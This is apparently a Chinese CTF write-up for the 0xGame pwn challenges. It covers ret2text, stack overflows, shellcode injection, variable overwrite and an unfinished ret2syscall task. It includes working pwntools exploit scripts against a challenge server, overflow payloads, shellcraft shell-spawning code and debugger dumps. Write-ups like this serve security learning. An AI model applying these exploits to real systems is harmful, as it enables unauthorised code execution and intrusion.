0%

Pwn_0xGame_01

Pwn_0xGame_01

1.欢迎来到0xGame平台

nc出flag

2.帮我取一个题目名称

ret2text
打开IDA分析
main函数

在这里插入图片描述

跟进
第二个函数

在这里插入图片描述

s栈大小为20h=32
函数最后return read了s
所以很好写了
因为是64位程序,后面再加上8个字符

1
payload = 'a' * (0x20+8)

Shift+F12发现/bin/sh

在这里插入图片描述

exp:

1
2
3
4
5
from pwn import* 
p = remote('39.101.210.214 ',10002)
payload = 'a' * (0x20+8) + p64(0x401172)
p.sendline(payload)
p.interactive()

3.easy_stack

文件
easy_stack.txt:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
> ────────────────────────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────────────────────
> EAX 0xffffcff0 ◂— 0x0
> EBX 0x56558fb8 ◂— 0x3ec0
> ECX 0xffffffff
> EDX 0xffffffff
> EDI 0xf7fa7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1dfd6c
> ESI 0xf7fa7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1dfd6c
> EBP 0xffffd078 —▸ 0xffffd088 ◂— 0x0
> ESP 0xffffcfe0 ◂— 0x0
> EIP 0x56556273 —▸ 0xfffdb8e8 ◂— 0x0
>─────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────
> ► 0x56556273 call read@plt <0x56556030>
> 0x56556278 add esp, 0x10
> 0x5655627b nop
> 0x5655627c mov ebx, dword ptr [ebp - 4]
> 0x5655627f leave
> 0x56556280 ret
>──────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────
>00:0000│ esp 0xffffcfe0 ◂— 0x0
>01:0004│ 0xffffcfe4 —▸ 0xffffcff0 ◂— 0x0
>02:0008│ 0xffffcfe8 ◂— 0x100
>03:000c│ 0xffffcfec —▸ 0x56556234 ◂— 0x2d84c381
>04:0010│ eax 0xffffcff0 ◂— 0x0
>... ↓

► 0x56556273 call read@plt <0x56556030>
调用了read函数,再看看read函数中的三个参数

read (fd, char *buf , count)

fd:文件描述符(文件指针) //fd写0,表示标准输入

buf:指向内存的指针 //也就是把数据写入的起始地址

count:读取的长度

再结合文件中

1
2
3
> 00:0000│ esp  0xffffcfe0 ◂— 0x0 
> 01:0004│ 0xffffcfe4 —▸ 0xffffcff0◂— 0x0
> 02:0008│ 0xffffcfe8 ◂— 0x100

然后我们再观察ebp和eax的值

1
2
> EAX  0xffffcff0 ◂— 0x0
> EBP 0xffffd078 —▸ 0xffffd088 ◂— 0x0

因为通常返回地址是存在ebp下,所以计算一下偏移量 0xffffd078 - 0xffffcff0 = 0x88
read读取的数据长度是0x100
0x88 < 0x100
所以存在溢出
nc连接会回显个地址,并且这个地址是随机的

在这里插入图片描述

我们可以接收这个地址并让程序执行它
exp:

1
2
3
4
5
6
7

from pwn import*
p = remote('39.101.210.214',10008)
p.recvuntil('magic_address ')
shell = int(p.recv(10),16)
p.send('a' * (0x88+4) + p32(shell))
p.interactive()

4.该怎么起名呢

shellcode

题目让我们执行shellcode,但程序是64位的,pwntools生成的shellcode是32位的,所以我们需要设置架构
context.arch=’AMD64’ ,否则有可能会报错

再看IDA

在这里插入图片描述

关键的在下面的buf+32

所以我们需要填充32个字符之后再送出shellcode

生成 shellcode

asm(shellcraft.sh())

运行一下文件

在这里插入图片描述

需要在’shellcode’之后再发送payload

所以要recvuntil(‘shellcode’)

exp:

1
2
3
4
5
6
7
from pwn import* 
context.arch = 'AMD64'
p = remote('39.101.210.214',10003)
payload = 'a' * 32 + asm(shellcraft.sh())
p.recvuntil('shellcode')
p.sendline(payload)
p.interactive()

5.variable_coverage

变量覆盖

IDA分析下

在这里插入图片描述

程序读取%lld 一个longlong的数,它的长度为8个字节
后面判断v5等于0x2333后会调用system函数
构造payload = 0x233300000000
再看栈

在这里插入图片描述

4个字节的长度刚好是0x 0000 2333 0000 0000
也可以直接写0x233300000000,系统会自动填充前面的4个0,因为这是16进制的数

exp:

1
2
3
4
5
6
7
8
9
10
from pwn import* 

p = remote('39.101.210.214',10007)

payload = str(0x233300000000)

p.sendline(payload)

p.interactive()

6.Pwn题滞销,帮帮我好吗?

syscall

IDA打开

在这里插入图片描述

发现是个syscall的题目
直接去看这个函数的汇编

在这里插入图片描述

根据师傅们所说,我们需要让rax存入59,让syscall去调用execve函数 (ret2syscall?)

syscall_64 GitHub查询

之后要构造出来 execve(“/bin/sh”,0,0) 拿取权限
找”/bin/sh”字符串
方法一:
在程序中有,找到它

在这里插入图片描述

从’[‘数起到斜杠前面的空格’ ‘,再加上前面的04个字符,一共是22个,换成16进制是16h
所以”/bin/sh”的地址为:0x402016

方法二:
构造ROP链来寻找(这是看官方WriteUp看到的方法

ROPgadget --binary ./main --string '/bin/sh'

在这里插入图片描述

找来找去,最后还是要用到csu init函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
 text:00000000004011D8 loc_4011D8:                             ; CODE XREF: init+4C↓j
.text:00000000004011D8 mov rdx, r14
.text:00000000004011DB mov rsi, r13
.text:00000000004011DE mov edi, r12d
.text:00000000004011E1 call qword ptr [r15+rbx*8]
.text:00000000004011E5 add rbx, 1
.text:00000000004011E9 cmp rbp, rbx
.text:00000000004011EC jnz short loc_4011D8
.text:00000000004011EE
.text:00000000004011EE loc_4011EE: ; CODE XREF: init+31↑j
.text:00000000004011EE add rsp, 8
.text:00000000004011F2 pop rbx
.text:00000000004011F3 pop rbp
.text:00000000004011F4 pop r12
.text:00000000004011F6 pop r13
.text:00000000004011F8 pop r14
.text:00000000004011FA pop r15
.text:00000000004011FC retn
.text:00000000004011FC ; } // starts at 4011A0
.text:00000000004011FC init endp
.text:00000000004011FC

咕咕咕~~~